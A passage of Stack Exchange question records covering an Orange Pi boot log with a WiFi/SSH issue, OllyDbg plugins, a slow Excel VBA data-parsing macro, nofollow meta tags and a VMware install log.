(status: 0x20, dev addr: 0x4e)[    1.426849] sunxi_wdt_init_module: sunxi WatchDog Timer Driver v1.0[    1.427189] sunxi_wdt_probe: devm_ioremap return wdt_reg 0xf1c20ca0, res->start 0x01c20ca0, res->end 0x01c20cbf[    1.427511] sunxi_wdt_probe: initialized (g_timeout=16s, g_nowayout=0)[    1.427538] wdt_enable, write reg 0xf1c20cb8 val 0x00000000[    1.427560] timeout_to_interv, line 167[    1.427577] interv_to_timeout, line 189[    1.427597] wdt_set_tmout, write 0x000000b0 to mode reg 0xf1c20cb8, actual timeout 16 sec[    1.428429] device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: dm-devel@redhat.com[    1.428829] calibrat: max_cpufreq 1008Mhz Type 1![    1.428855] [cpu_freq] ERR:get cpu extremity frequency from sysconfig failed, use max_freq[    1.429484] [mmc]: SD/MMC/SDIO Host Controller Driver(v1.111 2015-4-13 15:24) Compiled in Feb 23 2017 at 19:53:48[    1.429553] [mmc]: get mmc0's sdc_power is null![    1.429612] [mmc]: get mmc1's sdc_power is null![    1.429631] [mmc]: get mmc1's 2xmode ok, val = 1[    1.429651] [mmc]: get mmc1's ddrmode ok, val = 1[    1.429684] [mmc]: MMC host used card: 0x3, boot card: 0x0, io_card 2[    1.434389] [mmc]: sdc0 power_supply is null[    1.437189] no blue_led, ignore it![    1.437669] Registered led device: red_led[    1.437903] Registered led device: green_led[    1.437936] no led_0, ignore it![    1.437952] no led_1, ignore it![    1.437967] no led_2, ignore it![    1.437982] no led_3, ignore it![    1.437997] no led_4, ignore it![    1.438012] no led_5, ignore it![    1.438026] no led_6, ignore it![    1.438041] no led_7, ignore it![    1.439742] usbcore: registered new interface driver usbhid[    1.439767] usbhid: USB HID core driver[    1.448220] asoc: sndcodec <-> sunxi-codec mapping ok[    1.450721] [DAUDIO]sunxi-daudio cannot find any using configuration for controllers, return directly![    1.451109] [I2S]snddaudio cannot find any using configuration for controllers, return directly![    1.451138] [DAUDIO0] driver not init,just return.[    1.458288] asoc: sndhdmi <-> sunxi-hdmiaudio.0 mapping ok[    1.461109] oprofile: using arm/armv7-ca7[    1.461461] u32 classifier[    1.461481]     Performance counters on[    1.461497]     input device check on[    1.461512]     Actions configured[    1.461896] IPv4 over IPv4 tunneling driver[    1.463190] TCP: bic registered[    1.463213] TCP: cubic registered[    1.463230] TCP: westwood registered[    1.463246] TCP: highspeed registered[    1.463262] TCP: hybla registered[    1.463277] TCP: htcp registered[    1.463293] TCP: vegas registered[    1.463309] TCP: veno registered[    1.463324] TCP: scalable registered[    1.463340] TCP: lp registered[    1.463356] TCP: yeah registered[    1.463372] TCP: illinois registered[    1.463387] Initializing XFRM netlink socket[    1.463837] NET: Registered protocol family 10[    1.466221] NET: Registered protocol family 17[    1.466284] NET: Registered protocol family 15[    1.466374] Registering the dns_resolver key type[    1.467531] VFP support v0.3: implementor 41 architecture 2 part 30 variant 7 rev 5[    1.467576] ThumbEE CPU extension supported.[    1.467619] Registering SWP/SWPB emulation handler[    1.468734] registered taskstats version 1[    1.470417] cmdline,disp=[    1.470791] [DISP] disp_init_tv,line:539:screen 0 do not support TV TYPE![    1.470830] [DISP] bsp_disp_tv_register,line:990:'ptv is null[    1.470853] tv registered!![    1.470980] [DISP] disp_device_attached_and_enable,line:159:attched ok, mgr1<-->device1, type=2, mode=11[    1.480565] ths_fetch_sysconfig_para: type err  device_used = 1.[    1.483260] CPU Budget:corekeeper enabled[    1.483749] CPU Budget:Register notifier[    1.483775] CPU Budget:register Success[    1.483800] sunxi-budget-cooling sunxi-budget-cooling: Cooling device registered: thermal-budget-0[    1.490595] [rf_pm]: Did not config module_power1 in sys_config[    1.490623] [rf_pm]: Did not config module_power2 in sys_config[    1.490645] [rf_pm]: Did not config module_power3 in sys_config[    1.490666] [rf_pm]: mod has no chip_en gpio[    1.490684] [rf_pm]: regulator on.[    1.490717] [rf_pm]: set losc_out 32k out[wifi_pm]: set wl_reg_on 1 ![    1.549430] mmc0: new high speed SDHC card at address aaaa[    1.550522] mmcblk0: mmc0:aaaa SS08G 7.40 GiB[    1.553946]  mmcblk0: p1[    1.554969] mmcblk mmc0:aaaa: Card claimed for testing.[    1.554999] mmc0:aaaa: SS08G 7.40 GiB[    1.591339] [wifi_pm]: get wifi_sdc_id failed[    1.592912] [mmc]: sdc1 power_supply is null[    1.648738] mmc1: new high speed SDIO card at address 0001[    1.691419] [wifi_pm]: wifi gpio init is OK !![    1.691532] [rfkill]: init no bt used in configuration[    1.691555] ALSA device list:[    1.691571]   #0: audiocodec[    1.691587]   #1: sndhdmi[    1.693346] Freeing init memory: 332K[    1.776600] systemd-udevd[96]: starting version 215[    2.613445] Btrfs loaded[    3.084545] EXT4-fs (mmcblk0p1): mounted filesystem with writeback data mode. Opts: (null)[    4.290630] systemd[1]: systemd 215 running in system mode. (+PAM +AUDIT +SELINUX +IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ -SECCOMP -APPARMOR)[    4.291299] systemd[1]: Detected architecture 'arm'.[    4.335894] systemd[1]: Set hostname to <orangepizero>.[    4.766400] systemd[1]: Cannot add dependency job for unit display-manager.service, ignoring: Unit display-manager.service failed to load: No such file or directory.[    4.771956] systemd[1]: Expecting device dev-ttyGS0.device...[    4.790320] systemd[1]: Expecting device dev-ttyS0.device...[    4.810269] systemd[1]: Starting Forward Password Requests to Wall Directory Watch.[    4.810757] systemd[1]: Started Forward Password Requests to Wall Directory Watch.[    4.810903] systemd[1]: Starting Remote File Systems (Pre).[    4.830253] systemd[1]: Reached target Remote File Systems (Pre).[    4.830450] systemd[1]: Starting Encrypted Volumes.[    4.850252] systemd[1]: Reached target Encrypted Volumes.[    4.850439] systemd[1]: Starting Dispatch Password Requests to Console Directory Watch.[    4.850864] systemd[1]: Started Dispatch Password Requests to Console Directory Watch.[    4.850987] systemd[1]: Starting Paths.[    4.870256] systemd[1]: Reached target Paths.[    4.870515] systemd[1]: Starting Arbitrary Executable File Formats File System Automount Point.[    4.890269] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point.[    4.890460] systemd[1]: Starting Root Slice.[    4.910246] systemd[1]: Created slice Root Slice.[    4.910384] systemd[1]: Starting /dev/initctl Compatibility Named Pipe.[    4.930263] systemd[1]: Listening on /dev/initctl Compatibility Named Pipe.[    4.930400] systemd[1]: Starting Delayed Shutdown Socket.[    4.950245] systemd[1]: Listening on Delayed Shutdown Socket.[    4.950379] systemd[1]: Starting Journal Socket (/dev/log).[    4.970251] systemd[1]: Listening on Journal Socket (/dev/log).[    4.970392] systemd[1]: Starting User and Session Slice.[    4.990253] systemd[1]: Created slice User and Session Slice.[    4.990426] systemd[1]: Starting udev Control Socket.[    5.010256] systemd[1]: Listening on udev Control Socket.[    5.010419] systemd[1]: Starting udev Kernel Socket.[    5.030245] systemd[1]: Listening on udev Kernel Socket.[    5.030417] systemd[1]: Starting Journal Socket.[    5.050253] systemd[1]: Listening on Journal Socket.[    5.050505] systemd[1]: Starting System Slice.[    5.070262] systemd[1]: Created slice System Slice.[    5.070580] systemd[1]: Starting Increase datagram queue length...[    5.211363] systemd[1]: Starting Restore / save the current clock...[    5.311898] systemd[1]: Starting Create list of required static device nodes for the current kernel...[    5.411594] systemd[1]: Mounting POSIX Message Queue File System...[    5.500987] systemd[1]: Starting udev Coldplug all Devices...[    5.592076] systemd[1]: Mounting Debug File System...[    5.701113] systemd[1]: Mounted Huge Pages File System.[    5.707746] systemd[1]: Started Set Up Additional Binary Formats.[    5.707959] systemd[1]: Starting LSB: Set keymap...[    5.841077] systemd[1]: Starting system-serial\\x2dgetty.slice.[    5.860404] systemd[1]: Created slice system-serial\\x2dgetty.slice.[    5.860649] systemd[1]: Starting system-getty.slice.[    5.880314] systemd[1]: Created slice system-getty.slice.[    5.887902] systemd[1]: Starting Load Kernel Modules...[    5.981417] systemd[1]: Started File System Check on Root Device.[    5.981693] systemd[1]: Starting Slices.[    6.000630] systemd[1]: Reached target Slices.[    6.020368] systemd[1]: Mounted Debug File System.[    6.040517] systemd[1]: Mounted POSIX Message Queue File System.[    6.101352] [XRADIO] Driver Label:L34M.01.08.0002  Feb 23 2017 19:54:01    [    6.101470] [XRADIO] Allocated hw_priv @ d6e67240    [    6.102300] [SBUS] XRadio Device:sdio clk=50000000    [    6.102625] xradio wlan power on    [    6.102656] gpio wl_reg_on set val 1, act val 1    [    6.130373] systemd[1]: Started Increase datagram queue length.    [    6.152709] gpio wl_reg_on set val 0, act val 0    [    6.154738] gpio wl_reg_on set val 1, act val 1    [    6.210296] systemd[1]: Started Restore / save the current clock.    [    6.254812] [XRADIO] Detect SDIO card 1    [    6.310257] systemd[1]: Started Create list of required static device nodes for the current kernel.    [    6.470510] systemd[1]: Started LSB: Set keymap.    [    6.590308] systemd[1]: Started udev Coldplug all Devices.    [    6.596253] systemd[1]: Time has been changed    [    6.597349] systemd[1]: Starting Create Static Device Nodes in /dev...    [    6.601474] [XRADIO_ERR] xradio_load_firmware: can't read config register, err=-110.    [    6.601501] [XRADIO_ERR] xradio_load_firmware failed(-110).    [    6.731413] systemd[1]: Starting Syslog Socket.    [    6.750529] systemd[1]: Listening on Syslog Socket.    [    6.750859] systemd[1]: Starting Journal Service...    [    6.890437] systemd[1]: Started Journal Service.    [    6.938024] xradio wlan power off    [    6.938078] gpio wl_reg_on set val 0, act val 0    [    6.988261] [XRADIO] Remove SDIO card 1    [    6.988579] mmc1: card 0001 removed    [    6.989029] [mmc]: sdc1 power_supply is null    [    7.063734] ep_matches, wrn: endpoint already claimed, ep(0xc097afbc, 0xd6a30cc0, ep1in-bulk)    [    7.063778] ep_matches, wrn: endpoint already claimed, ep(0xc097afbc, 0xd6a30cc0, ep1in-bulk)    [    7.063807] ep_matches, wrn: endpoint already claimed, ep(0xc097b008, 0xd6a30cc0, ep1out-bulk)    [    7.063830] gadget_is_softwinner_otg is not -int    [    7.063846] gadget_is_softwinner_otg is not -int    [    7.063880] g_serial gadget: Gadget Serial v2.4    [    7.063913] g_serial gadget: g_serial ready    [    7.074002] [XRADIO_ERR] xradio_host_dbg_init failed=2599    [    7.074032] [XRADIO] Driver Label:L34M.01.08.0002  Feb 23 2017 19:54:01    [    7.074150] [XRADIO] Allocated hw_priv @ d6e5d240    [    7.074761] xradio wlan power on    [    7.074798] gpio wl_reg_on set val 1, act val 1    [    7.124840] gpio wl_reg_on set val 0, act val 0    [    7.126865] gpio wl_reg_on set val 1, act val 1    [    7.166700] systemd-udevd[172]: starting version 215    [    7.226966] [XRADIO] Detect SDIO card 1    [    7.228536] [mmc]: sdc1 power_supply is null    [    7.279737] mmc1: new high speed SDIO card at address 0001    [    7.280968] [SBUS] XRadio Device:sdio clk=50000000    [    7.282400] [XRADIO] XRADIO_HW_REV 1.0 detected.    [    7.449751] [XRADIO] Bootloader complete    [    7.648793] [XRADIO] Firmware completed.    [    7.652052] [WSM] Firmware Label:XR_C01.08.0043 Jun  6 2016 20:41:04    [    7.667293] [XRADIO] Firmware Startup Done.    [    7.669691] ieee80211 phy1: Selected rate control algorithm 'minstrel_ht'    [    7.747359] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x77)    [    7.747431] bmp085: probe of 0-0077 failed with error -70    [    7.760504] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x48)    [    7.760844] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x48, dev addr: 0x48)    [    8.399751] EXT4-fs (mmcblk0p1): re-mounted. Opts: commit=600,errors=remount-ro    [    8.775241] Adding 131068k swap on /var/swap.  Priority:-1 extents:1 across:131068k SS    [   10.538125] systemd-journald[171]: Received request to flush runtime journal from PID 1    [   12.991199] Registered IR keymap rc-empty    [   12.992787] rc0: sunxi-ir as /devices/virtual/rc/rc0    [   13.031684] IR RC5(x) protocol handler initialized    [   13.158761] rc s_cir0: lirc_dev: driver ir-lirc-codec (sunxi-ir) registered at minor = 0    [   13.269608] gmac0: probed    [   13.270238] gmac0 gmac0: eth0: eth0: PHY ID 00441400 at 0 IRQ poll (gmac0-0:00)    [   15.060372] [STA] !!!xradio_vif_setup: id=0, type=2, p2p=0    [   15.102065] ADDRCONF(NETDEV_UP): wlan0: link is not ready    [   15.270361] PHY: gmac0-0:00 - Link is Up - 100/Full    [   16.581088] wlan0: authenticate with 60:e3:27:fe:c3:60    [   16.581151] [STA_WRN] Freq 2437 (wsm ch: 6).    [   16.620255] wlan0: send auth to 60:e3:27:fe:c3:60 (try 1/3)    [   16.710994] wlan0: authenticated    [   16.720147] wlan0: associate with 60:e3:27:fe:c3:60 (try 1/3)    [   16.724399] wlan0: RX AssocResp from 60:e3:27:fe:c3:60 (capab=0x431 status=0 aid=1)    [   16.725922] [AP_WRN] [STA] ASSOC HTCAP 11N 58    [   16.727653] wlan0: associated    [   16.727929] ADDRCONF(NETDEV_CHANGE): wlan0: link becomes readyUpdate : i removed some initial part of dmesg log due to word limit in stack exchange"  , "title": "Can't able to ssh through WiFi without Ethernet connected"  , "tags": "ssh;boot;routing;ethernet;wlan"  } 
{  "id": "_reverseengineering.11462"  , "question": "I am using OllyDbg 2.1.0.4 and I cant get any plugins to work. I have tried ODbgScript.1.82, OllyDump v2.1.0.2 and Advanced Labels v1.3.0.9. When I tried the first two I got Plugins tab greyed out. Advanced Labels makes OllyDbg crash.I have set the plugin path to ..\\OllyDbg 2.01\\Plugins in the .ini file. What is there that I am missing?"  , "title": "OllyDbg plugins not working"  , "tags": "ollydbg"  } 
{  "id": "_codereview.171780"  , "question": "My code below takes the following data lines:2017:06:29T14:12:06,0,0,00,000,0.000,0.000,000,000,040,040,040,0,00,000,0.000,0.000,000,000,040,040,040,0,00,000,0.000,0.000,000,000,040,040,040,0,00,000,0.000,0.000,000,000,040,040,040,2017:06:29T14:12:07,0,1013,02,000,0.000,0.000,000,000,040,040,040,1014,02,000,0.000,0.000,000,000,040,040,040,1015,02,000,0.000,0.000,000,000,040,040,040,1008,02,000,0.000,0.000,000,000,040,040,040,2017:06:29T14:12:08,0,1013,00,153,-0.102,12.748,000,000,38,34,33,1014,00,199,-0.108,12.734,000,000,38,35,33,1015,00,171,-0.113,12.741,000,000,37,35,33,1008,00,153,-0.114,12.751,000,000,37,35,33,2017:06:29T14:12:09,0,1013,00,154,-0.100,12.760,000,000,38,34,33,1014,00,200,-0.106,12.732,000,000,38,35,33,1015,00,172,-0.112,12.737,000,000,37,35,33,1008,00,154,-0.107,12.748,000,000,37,35,33,2017:06:29T14:12:10,0,1013,00,155,-0.111,12.744,000,000,38,34,33,1014,00,201,-0.105,12.743,000,000,38,35,33,1015,00,173,-0.117,12.725,000,000,37,35,33,1008,00,155,-0.110,12.739,000,000,37,35,33,2017:06:29T14:12:11,0,1013,00,156,-0.112,12.751,000,000,38,34,33,1014,00,202,-0.102,12.734,000,000,38,35,33,1015,00,174,-0.105,12.755,000,000,37,35,33,1008,00,156,-0.110,12.741,000,000,37,35,33,2017:06:29T14:12:12,0,1013,00,157,-0.102,12.758,000,000,38,34,33,1014,00,203,-0.105,12.744,000,000,38,35,33,1015,00,175,-0.103,12.757,000,000,37,35,33,1008,00,157,-0.107,12.757,000,000,37,35,33,2017:06:29T14:12:13,0,1013,00,158,-0.113,12.737,000,000,38,34,33,1014,00,204,-0.094,12.760,000,000,38,35,33,1015,00,176,-0.117,12.748,000,000,37,35,33,1008,00,158,-0.109,12.744,000,000,37,35,33,2017:06:29T14:12:14,0,1013,00,159,-0.103,12.753,000,000,38,34,33,1014,00,205,-0.103,12.720,000,000,38,35,33,1015,00,177,-0.108,12.732,000,000,37,35,33,1008,00,159,-0.110,12.758,000,000,37,35,33,2017:06:29T14:12:15,0,1013,00,160,-0.112,12.757,000,000,38,34,33,1014,00,206,-0.095,12.734,000,000,38,35,33,1015,00,178,-0.118,12.729,000,000,37,35,33,1008,00,160,-0.115,12.755,000,000,37,35,33,and separates the date and time 2017:06:29T14:12:15, then rest of the data separated by comas.As my title says, the data above is only a taste of the actual data that I will be getting. So when I run this code with upto like 10,000 lines of data, excel freezes because the code takes about 7-10 minutes to run. When I have more than that, excel freezes completely for much longer and when it comes back, the graphs that the code is supposed to generate are missing or inaccurate. I assume this is because there is alot of data but I have no idea how to fix that. I am very new to Excel VBA and I would very much like to learn.Sub SeparateData()'Purpose:   This macro take the data in the worksheet and separates the data in a readable fashion for the user.'           This macro also plots and reports any errors that it has caught both in separate sheets named accordingly.'Define variablesDim i As VariantDim j As VariantDim k As VariantDim data As VariantDim data2 As VariantDim count As VariantDim shiftDown As VariantDim monitorNum As VariantDim errorCount As VariantDim dataSheet As WorksheetDim plotSheet As WorksheetDim errorSheet As WorksheetDim battChart As ChartObjectDim currChart As ChartObjectDim tempChart As ChartObject'For code performanceApplication.ScreenUpdating = FalseApplication.Calculation = xlCalculationManual'Rename the first sheetActiveSheet.Name = DataSet dataSheet = Sheets(Data)'Rename the second sheetSheets(Sheet2).Name = PlotsSet plotSheet = Sheets(Plots)'Rename the third sheetSheets(Sheet3).Name = ErrorsSet errorSheet = Sheets(Errors)'Enter the number of monitorsmonitorNum = 4'Variable to shift down the data so that te headers will fit (recommended 2)shiftDown = 2'Variable to count the number of errors the program thinks occurederrorCount = 0'Count how many data point there are in the sheetcount = dataSheet.Cells(1, 1).CurrentRegion.Rows.count'Iterate through the points separating the DataFor i = 0 To count - 1    'Start of the Data sheet usage    With dataSheet    'First separate the date from the rest    data = .Cells(count - i, 1).Value    data = Split(data, T)    For j = 0 To UBound(data)        .Cells(count - i + shiftDown, j + 1).Value = data(j)    Next j    'Now separate the rest of the data    data2 = data(1)    data2 = Split(data2, ,)    For j = 0 To UBound(data2)        .Cells(count - i + shiftDown, j + 2).Value = data2(j)    Next j    'Check for key switch error    If .Cells(count - i + shiftDown, 3).Value > 20 Or IsNumeric(.Cells(count - i + shiftDown, 3).Value) = False Then        'increment the number of errors found        errorCount = errorCount + 1        'Save the row number and the monitor number where the error was found        errorSheet.Cells(errorCount, 1).Value = Key switch error in row        errorSheet.Cells(errorCount, 2).Value = count - i + shiftDown        errorSheet.Cells(errorCount, 3).Value = in column        errorSheet.Cells(errorCount, 4).Value = 3        errorSheet.Cells(errorCount, 7).Value = The recorded data was        .Cells(count - i + shiftDown, 3).Copy errorSheet.Cells(errorCount, 8)        errorSheet.Range(errorSheet.Cells(errorCount, 1), errorSheet.Cells(errorCount, 8)).Interior.Color = RGB(200, 200, 0)        'Clear the contents of the error        .Cells(count - i + shiftDown, 3).ClearContents    End If    For k = 0 To monitorNum - 1        'Check for voltage error        If .Cells(count - i + shiftDown, (k * 10) + 8).Value > 20 Or IsNumeric(.Cells(count - i + shiftDown, (k * 10) + 8).Value) = False Then            'increment the number of errors found            errorCount = errorCount + 1            'Save the row number and the monitor number where the error was found            errorSheet.Cells(errorCount, 1).Value = Voltage error in row            errorSheet.Cells(errorCount, 2).Value = count - i + shiftDown            errorSheet.Cells(errorCount, 3).Value = in column            errorSheet.Cells(errorCount, 4).Value = (k * 10) + 8            errorSheet.Cells(errorCount, 5).Value = in Monitor            errorSheet.Cells(errorCount, 6).Value = k + 1            errorSheet.Cells(errorCount, 7).Value = The recorded data was            .Cells(count - i + shiftDown, (k * 10) + 8).Copy errorSheet.Cells(errorCount, 8)            errorSheet.Range(errorSheet.Cells(errorCount, 1), errorSheet.Cells(errorCount, 8)).Interior.Color = RGB(110, 160, 180)            'Clear the contents of the error            .Cells(count - i + shiftDown, (k * 10) + 8).ClearContents        End If        'Check for current error        If .Cells(count - i + shiftDown, (k * 10) + 7).Value > 80 Or IsNumeric(.Cells(count - i + shiftDown, (k * 10) + 7).Value) = False Then            'increment the number of errors found            errorCount = errorCount + 1            'Save the row number and the monitor number where the error was found            errorSheet.Cells(errorCount, 1).Value = Current error in row            errorSheet.Cells(errorCount, 2).Value = count - i + shiftDown            errorSheet.Cells(errorCount, 3).Value = in column            errorSheet.Cells(errorCount, 4).Value = (k * 10) + 7            errorSheet.Cells(errorCount, 5).Value = in Monitor            errorSheet.Cells(errorCount, 6).Value = k + 1            errorSheet.Cells(errorCount, 7).Value = The recorded data was            .Cells(count - i + shiftDown, (k * 10) + 7).Copy errorSheet.Cells(errorCount, 8)            errorSheet.Range(errorSheet.Cells(errorCount, 1), errorSheet.Cells(errorCount, 8)).Interior.Color = RGB(240, 150, 150)            'Clear the contents of the error            .Cells(count - i + shiftDown, (k * 10) + 7).ClearContents        End If        'Check for temperature error        If .Cells(count - i + shiftDown, (k * 10) + 13).Value > 83 Or IsNumeric(.Cells(count - i + shiftDown, (k * 10) + 13).Value) = False Then            'increment the number of errors found            errorCount = errorCount + 1            'Save the row number and the monitor number where the error was found            errorSheet.Cells(errorCount, 1).Value = Temperature error in row            errorSheet.Cells(errorCount, 2).Value = count - i + shiftDown            errorSheet.Cells(errorCount, 3).Value = in column            errorSheet.Cells(errorCount, 4).Value = (k * 10) + 13            errorSheet.Cells(errorCount, 5).Value = in Monitor            errorSheet.Cells(errorCount, 6).Value = k + 1            errorSheet.Cells(errorCount, 7).Value = The recorded data was            .Cells(count - i + shiftDown, (k * 10) + 13).Copy errorSheet.Cells(errorCount, 8)            errorSheet.Range(errorSheet.Cells(errorCount, 1), errorSheet.Cells(errorCount, 8)).Interior.Color = RGB(255, 190, 0)            'Clear the contents of the error            .Cells(count - i + shiftDown, (k * 10) + 13).ClearContents        End If    Next k    'End of Dats sheet usage    End WithNext i'The next block uses the Data sheetWith dataSheet'Erase the data that has been duplicatedFor i = 1 To shiftDown    .Cells(i, 1).Value = Next i'Write and color the headers'For the Date.Range(.Cells(shiftDown - 1, 1), .Cells(shiftDown, 1)).Merge.Range(.Cells(shiftDown - 1, 1), .Cells(shiftDown, 1)).Value = Date.Range(.Cells(shiftDown - 1, 1), .Cells(count + shiftDown, 1)).Interior.Color = RGB(200, 190, 150)'For the Time.Range(.Cells(shiftDown - 1, 2), .Cells(shiftDown, 2)).Merge.Range(.Cells(shiftDown - 1, 2), .Cells(shiftDown, 2)).Value = Time.Range(.Cells(shiftDown - 1, 2), .Cells(count + shiftDown, 2)).Interior.Color = RGB(150, 140, 80)'For the Key Switch.Range(.Cells(shiftDown - 1, 3), .Cells(shiftDown, 3)).Merge.Range(.Cells(shiftDown - 1, 3), .Cells(shiftDown, 3)).Value = Key Switch.Range(.Cells(shiftDown - 1, 3), .Cells(count + shiftDown, 3)).Interior.Color = RGB(200, 200, 0)For i = 1 To monitorNum    .Range(.Cells(shiftDown - 1, ((i - 1) * 10) + 4), .Cells(shiftDown - 1, (i * 10) + 3)).Merge    .Range(.Cells(shiftDown - 1, ((i - 1) * 10) + 4), .Cells(shiftDown - 1, (i * 10) + 3)).Value = Monitor  & i    'color the headers    If i Mod 4 = 0 Then        .Range(.Cells(shiftDown - 1, ((i - 1) * 10) + 4), .Cells(shiftDown - 1, (i * 10) + 3)).Interior.Color = RGB(100, 255, 100)    ElseIf i Mod 3 = 0 Then        .Range(.Cells(shiftDown - 1, ((i - 1) * 10) + 4), .Cells(shiftDown - 1, (i * 10) + 3)).Interior.Color = RGB(255, 100, 10)    ElseIf i Mod 2 = 0 Then        .Range(.Cells(shiftDown - 1, ((i - 1) * 10) + 4), .Cells(shiftDown - 1, (i * 10) + 3)).Interior.Color = RGB(100, 100, 255)    Else        .Range(.Cells(shiftDown - 1, ((i - 1) * 10) + 4), .Cells(shiftDown - 1, (i * 10) + 3)).Interior.Color = RGB(255, 75, 75)    End IfNext iFor i = 0 To monitorNum - 1    'Monitor ID    .Cells(shiftDown, 1 + (i * 10) + 3).Value = MONITOR_NUM    'Monitor status    .Cells(shiftDown, 2 + (i * 10) + 3).Value = MONITOR_STATUS    'Heart Beat count    .Cells(shiftDown, 3 + (i * 10) + 3).Value = HB_COUNT    'For Current    .Cells(shiftDown, 4 + (i * 10) + 3).Value = CURRENT    .Range(.Cells(shiftDown, 4 + (i * 10) + 3), .Cells(count + shiftDown, 4 + (i * 10) + 3)).Interior.Color = RGB(240, 150, 150)    'For Voltage    .Cells(shiftDown, 5 + (i * 10) + 3).Value = VOLTAGE    .Range(.Cells(shiftDown, 5 + (i * 10) + 3), .Cells(count + shiftDown, 5 + (i * 10) + 3)).Interior.Color = RGB(110, 160, 180)    'State of Charge    .Cells(shiftDown, 6 + (i * 10) + 3).Value = SOC    'State of Health    .Cells(shiftDown, 7 + (i * 10) + 3).Value = SOH    'Chip temperature    .Cells(shiftDown, 8 + (i * 10) + 3).Value = TEMP_CHP    'Internal temperature    .Cells(shiftDown, 9 + (i * 10) + 3).Value = TEMP_INT    'For Temperature of the terminal    .Cells(shiftDown, 10 + (i * 10) + 3).Value = TEMP_EXT    .Range(.Cells(shiftDown, 10 + (i * 10) + 3), .Cells(count + shiftDown, 10 + (i * 10) + 3)).Interior.Color = RGB(255, 190, 0)Next i'Data sheet'Add borders all around the data.Cells(shiftDown, 1).CurrentRegion.Borders.LineStyle = xlContinuous'Autofit all the columns.Cells(shiftDown, 1).CurrentRegion.EntireColumn.AutoFit'End of the Data sheet usage for nowEnd With'Error sheet'Add borders all around the dataerrorSheet.Cells(1, 1).CurrentRegion.Borders.LineStyle = xlContinuous'Autofit all the columnserrorSheet.Cells(1, 1).CurrentRegion.EntireColumn.AutoFit'Plotting'Add a new plotSet battChart = plotSheet.ChartObjects.Add(0, 0, 1200, 300)'Plot the battery dataWith battChart.Chart    .SetSourceData Source:=dataSheet.Range(dataSheet.Cells(shiftDown + 5, 8), dataSheet.Cells(count + shiftDown, 8))    .SeriesCollection(1).Name = Battery 1    .ChartWizard Title:=Voltage, HasLegend:=True, CategoryTitle:=Time (s), ValueTitle:=Voltage (V), Gallery:=xlXYScatterLinesNoMarkers    For i = 2 To monitorNum        .SeriesCollection.NewSeries        .SeriesCollection(i).Values = dataSheet.Range(dataSheet.Cells(5, ((i - 1) * 10) + 8), dataSheet.Cells(count + shiftDown, ((i - 1) * 10) + 8))        .SeriesCollection(i).Name = Battery  & i    Next iEnd With'Add a new plotSet currChart = plotSheet.ChartObjects.Add(0, 300, 1200, 300)'Plot the current dataWith currChart.Chart    .SetSourceData Source:=dataSheet.Range(dataSheet.Cells(shiftDown + 5, 7), dataSheet.Cells(count + shiftDown, 7))    .SeriesCollection(1).Name = Battery 1    .ChartWizard Title:=Current, HasLegend:=True, CategoryTitle:=Time (s), ValueTitle:=Current (A), Gallery:=xlXYScatterLinesNoMarkers    For i = 2 To monitorNum        .SeriesCollection.NewSeries        .SeriesCollection(i).Values = dataSheet.Range(dataSheet.Cells(5, ((i - 1) * 10) + 7), dataSheet.Cells(count + shiftDown, ((i - 1) * 10) + 7))        .SeriesCollection(i).Name = Battery  & i    Next iEnd With'Add a new plotSet tempChart = plotSheet.ChartObjects.Add(0, 600, 1200, 300)'Plot the current dataWith tempChart.Chart    .SetSourceData Source:=dataSheet.Range(dataSheet.Cells(shiftDown + 5, 13), dataSheet.Cells(count + shiftDown, 13))    .SeriesCollection(1).Name = Battery 1    .ChartWizard Title:=Temperature, HasLegend:=True, CategoryTitle:=Time (s), ValueTitle:=Temperature (F), Gallery:=xlXYScatterLinesNoMarkers    For i = 2 To monitorNum        .SeriesCollection.NewSeries        .SeriesCollection(i).Values = dataSheet.Range(dataSheet.Cells(5, ((i - 1) * 10) + 13), dataSheet.Cells(count + shiftDown, ((i - 1) * 10) + 13))        .SeriesCollection(i).Name = Battery  & i    Next iEnd With'For code performanceApplication.Calculation = xlCalculationAutomaticApplication.ScreenUpdating = True'Indicate that the macro has finished its jobBeepEnd SubIf there is anything that is unclear or inaccurate, please ask and I will be more than happy to answer."  , "title": "Separating hundreds of thousands of points using vba"  , "tags": "performance;vba;excel"  } 
{  "id": "_webmaster.71677"  , "question": "I'm using a blog that automatically nofollows links in spite of manually dofollowing links in the HTML code. so I decided to put this code:<meta name=robots content=index,follow,noodp,noydir/>in the head of the blog to enable following for my link.My question is that will that code override each link's rel=nofollow rule and let search engine crawl and count those links for SEO?"  , "title": "Overriding nofollow rules with meta tag"  , "tags": "seo;links;meta tags;nofollow;dofollow"  , "accepted_answer": "Search engines crawlers follow the most restrictive rule. If you use nofollow in your meta tag, no link will be followed. If you use follow in your meta tag, all links will be followed except those with rel=nofollow.So answer to your question is no, meta tag with follow doesn't override individual rel=nofollow.http://googlewebmastercentral.blogspot.co.nz/2007/03/using-robots-meta-tag.htmlhttps://support.google.com/webmasters/answer/96569?hl=en"  } 
{  "id": "_unix.309224"  , "question": "[kenneth@kyb0rg ~]$ uname -r4.7.2-101.fc23.x86_64When I start VMWare a box appears!I click installSee log file /tmp/vmware-root/vmware-14992.log for details.[root@kyb0rg kenneth]# /tmp/vmware-root/vmware-14992.logbash: /tmp/vmware-root/vmware-14992.log: Permission denied[root@kyb0rg kenneth]# open /tmp/vmware-root/vmware-14992.log[root@kyb0rg kenneth]# cat /tmp/vmware-root/vmware-14992.log2016-09-11T11:32:52.140-05:00| vthread-4| I125: Log for VMware Workstation pid=14992 version=12.1.1 build=build-3770994 option=Release2016-09-11T11:32:52.140-05:00| vthread-4| I125: The process is 64-bit.2016-09-11T11:32:52.140-05:00| vthread-4| I125: Host codepage=UTF-8 encoding=UTF-82016-09-11T11:32:52.140-05:00| vthread-4| I125: Host is Linux 4.7.2-101.fc23.x86_64 Fedora release 23 (Twenty Three)2016-09-11T11:32:52.140-05:00| vthread-4| I125: DictionaryLoad: Cannot open file /usr/lib/vmware/settings: No such file or directory.2016-09-11T11:32:52.140-05:00| vthread-4| I125: PREF Optional preferences file not found at /usr/lib/vmware/settings. Using default values.2016-09-11T11:32:52.140-05:00| vthread-4| I125: DictionaryLoad: Cannot open file /root/.vmware/config: No such file or 